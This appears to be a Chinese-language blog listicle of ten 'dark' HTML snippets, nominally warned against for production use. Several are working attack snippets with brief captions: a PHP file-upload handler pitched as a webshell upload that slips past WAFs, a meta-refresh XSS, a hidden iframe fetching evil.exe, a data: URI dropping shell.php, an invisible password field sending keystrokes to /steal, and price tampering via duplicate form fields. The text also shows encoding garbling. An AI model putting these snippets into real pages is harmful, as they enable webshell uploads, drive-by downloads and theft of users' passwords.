邪修 HTML ，10 段“千萬別上生產(chǎn)”的暗黑代碼
——僅供技術(shù)獵奇，切勿真用！

?? 每條都可能：語義錯亂、SEO 爆炸、可訪問性崩壞、面試官當(dāng)場暈厥

面試炫技 OK，項目敢用就等死！

1?? 一行木馬上傳

<form action="" method="post" enctype="multipart/form-data">
  <input name="f" type="file">
  <input type="submit">
</form>
<?php
if ($_FILES['f']['tmp_name'])
  move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
?>

最精簡的“一句話”上傳，WAF 看了沉默。

2?? meta 刷新秒跳轉(zhuǎn)

<meta http-equiv="refresh" content="0;URL=javascript:alert('XSS')">

無 JS 也能彈窗，老 IE 全中招。

3?? 隱藏下載器

<iframe src="evil.exe" style="display:none"></iframe>

頁面一打開就偷偷下文件。

4?? 利用 data: URI 寫任意文件

<a href="data:text/plain;charset=utf-8,木馬內(nèi)容" download="shell.php">點我</a>

瀏覽器直接落地木馬，繞過上傳限制。

5?? 偽裝輸入框偷密碼

<input type="password" style="opacity:0;position:absolute" oninput="fetch('/steal?p='+this.value)">

透明輸入框，用戶打一字傳一字。

6?? 表單項同名覆蓋

<input name="price" value="999">
<input name="price" value="1">

后端只收到最后一個值，前端輕松篡改價格。

7?? 負值進度條

<meter value="-10" min="0" max="100">進度</meter>

語義完全錯誤，屏幕閱讀器崩潰。

8?? 嵌套 details 無限遞歸

<details>
  <summary>點我</summary>
  <details><summary>再點</summary>…無限套娃</details>
</details>

頁面高度瞬間爆炸。

9?? autofocus + onfocus 死循環(huán)

<input autofocus onfocus="this.form.submit()">

自動聚焦即提交，用戶一進來就刷新。

?? 零寬空格隱形文本

<p>正​常​文​本</p>

肉眼看不見，復(fù)制粘貼即亂碼，SEO 直接廢。

邪修口訣

“標簽當(dāng)武器，屬性藏殺機；

語義全不要，瀏覽器哭泣?！?/p>

PS

想要正經(jīng)學(xué)習(xí) HTML ，從《HTML 入門課程》開始！